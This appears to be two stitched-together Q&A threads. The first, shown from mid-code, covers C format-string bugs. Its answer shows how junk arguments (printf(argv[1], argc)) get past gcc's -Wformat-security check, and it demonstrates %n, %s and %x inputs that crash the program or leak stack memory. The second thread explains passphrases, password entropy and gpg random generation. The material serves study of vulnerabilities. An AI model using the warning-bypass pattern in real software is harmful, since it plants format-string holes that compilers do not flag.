  if (argc < 2)
  {
     fprintf (stderr, "Error missing argument!\n");
     exit (EXIT_FAILURE);
  }

  snprintf (buffer, 28, "ERR Wrong command: %8s", argv[1]);
  sprintf (outbuf, buffer);

  perror(outbuf);

  return EXIT_SUCCESS;
}

When compiled in 32bits, it will crash on %21d input (not on %20d, but on any number higher than 20). But, the -Wformat-security will detect it and raise a warning as follow:

$> gcc -m32 -Wall -Wextra -Wformat-security -std=c99 -o fstring fstring.c
fstring.c: In function ‘main’:
fstring.c:19:3: warning: format not a string literal and no format arguments [-Wformat-security]
   sprintf (outbuf, buffer);
   ^

So, is there a way to hide the bug from the warning and still have a possible exploitation ?

Edit: My point is not to correct the bug, but to understand what kind of format string bugs are not captured by this warning. It helps to understand where to look if no warning is raised but potential format string bugs are present.

You must keep secure format of the function and with using to junk arguments bypass format-security.
for example printf(var); is 100% unsafe format ! and compiler able to detect it, but printf(var1,var2) (it can be safe and also dangerous) ! the compiler is not smart enough to detect .
You can use a code like it printf(argv[1],"junk");

For Example

#include <stdio.h>
#include <stdlib.h>

int main (int argc, char * argv[])
{
  printf (argv[1],argc);
  //              ^^^^---------> Junk :)
  return EXIT_SUCCESS;
}
/*
sajjad@xxx:~$ gcc -m32 -Wall -Wextra -Wformat-security -std=c99 a.c
sajjad@xxx:~$ ./a.out %n%n%n
Bus error: 10
sajjad@xxx:~$ ./a.out %s%s%s
Bus error: 10
sajjad@xxx:~$ ./a.out %x%x%x
bffcfb242bffcfb88sajjad@xxx:~$ ./a.out %d%d%d
-10747629722-1074762872sajjad@xxx:~$ ./a.out %s
???|???sajjad@xxx:~$
/*

/*

#include <stdio.h>
#include <stdlib.h>

int main (int argc, char * argv[])
{
  char outbuf[32];
  char buffer[32];

  if (argc < 2)
  {
     fprintf (stderr, "Error missing argument!\n");
     exit (EXIT_FAILURE);
  }

  snprintf (buffer, 28, "ERR Wrong command: %8s", argv[1]);
  sprintf (outbuf,buffer, "junk");
  //                      ^^^^^^---------> Junk :)
  perror(outbuf);

  return EXIT_SUCCESS;
}

*/


Passphrase - what is it exactly? Well, according to Wikipedia, this is a passphrase;

  A passphrase is a sequence of words or other text used to control access to a computer system, program or data. A passphrase is similar to a password in usage, but is generally longer for added security (....).

So I could say, the following is a passphrase (example only);

  PerhapsThisIsAPassphraseButMaybeNotWellsee.

If I generate a password(?) with gpg;

$ gpg --gen-random -a 0 17
  fmmyY/aEufDdmvBlwTw6tPU=

Is this considered a passphrase too? Which one is more secure nowadays? When should I use one over the other?
Would the generated gpg password be more secure than the passphrase I quoted?
If so, why?

For example, PGP asks for a passphrase (for the master key), which one would I choose? The first option? Or the second?

A "passphrase" is just a password; the different term is merely a way to suggest that a password does not necessarily consist in a single word as linguists know them.

A password (or passphrase) is exactly as secure as it is random. The oft-cited jargon in that case is entropy. Using many words (a "phrase") is a possible way to inject a lot of randomness, at the expense of having more characters to type when the password must be entered. Note that randomness and length are not the same thing; a longer password is not necessarily more random. See this question, in particular that answer, for some discussion on these notions.